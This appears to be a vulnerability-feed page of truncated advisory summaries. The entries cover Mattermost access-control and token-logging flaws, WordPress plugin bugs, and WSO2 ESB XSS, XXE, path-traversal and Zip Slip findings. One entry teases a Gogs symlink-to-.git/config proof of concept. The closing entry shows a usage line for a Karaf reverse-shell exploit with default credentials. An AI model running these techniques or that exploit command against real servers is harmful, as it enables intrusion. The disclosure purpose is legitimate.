EUVD-2026-102751

Mattermost versions 11.10.x = 11.10.0, 11.7.x = 11.7.9, 11.9.x = 11.9.1, 11.8.x = 11.8.5 fail to restrict Slack import account binding to system administrator-initiated imports which allows an authenticated attacker with team admin privileges to force-add existing Mattermost users to their team a...

CVE-2026-18256 Private team metadata disclosure via the team search API

Mattermost versions 11.10.x = 11.10.0, 11.7.x = 11.7.9, 11.9.x = 11.9.1, 11.8.x = 11.8.5 fail to properly restrict private teams from public team search results, which allows an authenticated user without permission to list private teams to disclose the ID, name, and display name of private teams...

CVE-2026-18256

Mattermost versions 11.10.x <= 11.10.0 , 11.7.x <= 11.7.9 , 11.9.x <= 11.9.1 , and 11.8.x

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC Proof-of-Concept for CVE-2025-8110 , an authenticated arbitrary file write in Gogs ≤ 0.13.3 caused by improper symbolic-link handling in the PutContents API. An authenticated user can commit a symlink pointing to .git/config, then use the API to overwrite it...

CVE-2026-18223

Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, and 11.8.x

EUVD-2026-102748

Mattermost versions 11.10.x = 11.10.0, 11.7.x = 11.7.9, 11.9.x = 11.9.1, 11.8.x = 11.8.5 fail to validate the invited recipient's email address when redeeming team and guest invitation tokens, which allows an authenticated attacker to join a team or gain unauthorized access to private channels vi...

CVE-2026-18560

Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, and 11.8.x

EUVD-2026-102745

Mattermost versions 11.10.x = 11.10.0, 11.7.x = 11.7.9, 11.9.x = 11.9.1, 11.8.x = 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an authenticated SAML user to join any team, including invite-only teams, via forging the teamid or inviteid fields in the...

CVE-2026-19600 Mattermost logs plaintext authentication tokens in debug-level server logs on failed auth attempts

Mattermost versions 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10, 11.10.x = 11.10.1 fail to sanitize authentication tokens before writing them to server log entries, which allows an attacker with access to server logs to obtain valid session tokens or OAuth access tokens and impersonate...

EUVD-2026-102813

Mattermost versions 11.10.x = 11.10.0, 11.7.x = 11.7.9, 11.9.x = 11.9.1, 11.8.x = 11.8.5 fail to enforce DM/GM check on server side which allows an authenticated user to quarantine a post belonging to DM or GM via direct API call.. Mattermost Advisory ID: MMSA-2026-00756...

CVE-2026-19867 Uncapped mention keys in user notification properties allow CPU exhaustion during post processing

Mattermost versions 11.10.x = 11.10.0, 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10 fail to cap the number and size of mention keys stored in a user's notification properties, and to bound the quadratic multibyte-keyword matching performed for each post, which allows an authenticated user t...

EUVD-2026-102808

Mattermost versions 11.10.x = 11.10.0, 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10 fail to cap the number and size of mention keys stored in a user's notification properties, and to bound the quadratic multibyte-keyword matching performed for each post, which allows an authenticated user t...

EUVD-2026-102801

The The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.2.8. This is due to the software...

EUVD-2026-102791

The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'message' parameter in all versions up to, and including, 1.7.32 due to insufficient input sanitization and output escaping. This makes it possible for...

WSO2-2021-1261

WSO2-2021-1261: Multiple Cross-Site Scripting in WSO2 ESB Due to improper output encoding, multiple Cross Site Scripting XSS attacks have been identified in WSO2 ESB. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here. Why no CVE? Neither me nor the vendor...

WSO2-2021-1260

WSO2-2021-1260: Deletion of Arbitrary files via Path Traversal in Artifact Name in WSO2 ESB Due to the unsanitized user input in the Artifact Upload feature, an arbitrary file deletion attack could be carried out by leveraging path traversal in the "artifactName" parameter. Vendor Disclosure: The...

MAL-007

MAL-007: XML External Entity via Local Registry Entries in WSO2 ESB An inline XML External Entity XXE attack was identified in the WSO2 ESB “Local Entities” tool. Why no CVE? The vendor replied that this vulnerability was "Fixed in WUM" and no public disclosure was made. Requirements: This...

MAL-005

MAL-005: Zip Slip in Add Carbon Applications in WSO2 ESB A ZIP file based directory traversal Zip Slip vulnerability was identified in the "Carbon Applications" add feature of WSO2 ESB. Remote code execution may be obtained by writing/overwriting specific files. Why no CVE? The vendor replied tha...

EUVD-2026-102690

The MB Custom Post Types & Custom Taxonomies WordPress plugin before 2.12.2 does not perform a capability check or validate a nonce on its migration actions, allowing any authenticated user, such as a subscriber, to trigger a one-way migration that creates published records and permanently delete...

offsec-karaf-exploits

offsec-karaf-exploits Usage: python exploit.py --help Example: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Rebuild Payload Setup Felix Framework 1. Create the lib directory mkdir -p ./revshell/lib 2. Download Felix Framework 7.0.5 3...